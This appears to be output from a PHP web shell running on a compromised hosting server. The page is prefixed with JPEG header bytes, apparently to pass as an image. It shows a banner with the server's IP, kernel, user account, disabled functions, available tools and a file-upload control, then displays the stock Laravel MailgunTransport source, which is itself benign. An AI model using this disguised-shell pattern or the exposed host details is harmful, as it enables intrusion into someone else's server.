ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.227.140.232 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/laravelvue/vendor/laravel/framework/src/Illuminate/Mail/Transport/ |
Upload File : |
<?php namespace Illuminate\Mail\Transport; use Swift_Mime_SimpleMessage; use GuzzleHttp\ClientInterface; class MailgunTransport extends Transport { /** * Guzzle client instance. * * @var \GuzzleHttp\ClientInterface */ protected $client; /** * The Mailgun API key. * * @var string */ protected $key; /** * The Mailgun email domain. * * @var string */ protected $domain; /** * The Mailgun API endpoint. * * @var string */ protected $endpoint; /** * Create a new Mailgun transport instance. * * @param \GuzzleHttp\ClientInterface $client * @param string $key * @param string $domain * @param string|null $endpoint * @return void */ public function __construct(ClientInterface $client, $key, $domain, $endpoint = null) { $this->key = $key; $this->client = $client; $this->endpoint = $endpoint ?? 'api.mailgun.net'; $this->setDomain($domain); } /** * {@inheritdoc} */ public function send(Swift_Mime_SimpleMessage $message, &$failedRecipients = null) { $this->beforeSendPerformed($message); $to = $this->getTo($message); $message->setBcc([]); $response = $this->client->request( 'POST', "https://{$this->endpoint}/v3/{$this->domain}/messages.mime", $this->payload($message, $to) ); $message->getHeaders()->addTextHeader( 'X-Mailgun-Message-ID', $this->getMessageId($response) ); $this->sendPerformed($message); return $this->numberOfRecipients($message); } /** * Get the HTTP payload for sending the Mailgun message. * * @param \Swift_Mime_SimpleMessage $message * @param string $to * @return array */ protected function payload(Swift_Mime_SimpleMessage $message, $to) { return [ 'auth' => [ 'api', $this->key, ], 'multipart' => [ [ 'name' => 'to', 'contents' => $to, ], [ 'name' => 'message', 'contents' => $message->toString(), 'filename' => 'message.mime', ], ], ]; } /** * Get the "to" payload field for the API request. * * @param \Swift_Mime_SimpleMessage $message * @return string */ protected function getTo(Swift_Mime_SimpleMessage $message) { return collect($this->allContacts($message))->map(function ($display, $address) { return $display ? $display." <{$address}>" : $address; })->values()->implode(','); } /** * Get all of the contacts for the message. * * @param \Swift_Mime_SimpleMessage $message * @return array */ protected function allContacts(Swift_Mime_SimpleMessage $message) { return array_merge( (array) $message->getTo(), (array) $message->getCc(), (array) $message->getBcc() ); } /** * Get the message ID from the response. * * @param \Psr\Http\Message\ResponseInterface $response * @return string */ protected function getMessageId($response) { return object_get( json_decode($response->getBody()->getContents()), 'id' ); } /** * Get the API key being used by the transport. * * @return string */ public function getKey() { return $this->key; } /** * Set the API key being used by the transport. * * @param string $key * @return string */ public function setKey($key) { return $this->key = $key; } /** * Get the domain being used by the transport. * * @return string */ public function getDomain() { return $this->domain; } /** * Set the domain being used by the transport. * * @param string $domain * @return string */ public function setDomain($domain) { return $this->domain = $domain; } /** * Get the API endpoint being used by the transport. * * @return string */ public function getEndpoint() { return $this->endpoint; } /** * Set the API endpoint being used by the transport. * * @param string $endpoint * @return string */ public function setEndpoint($endpoint) { return $this->endpoint = $endpoint; } }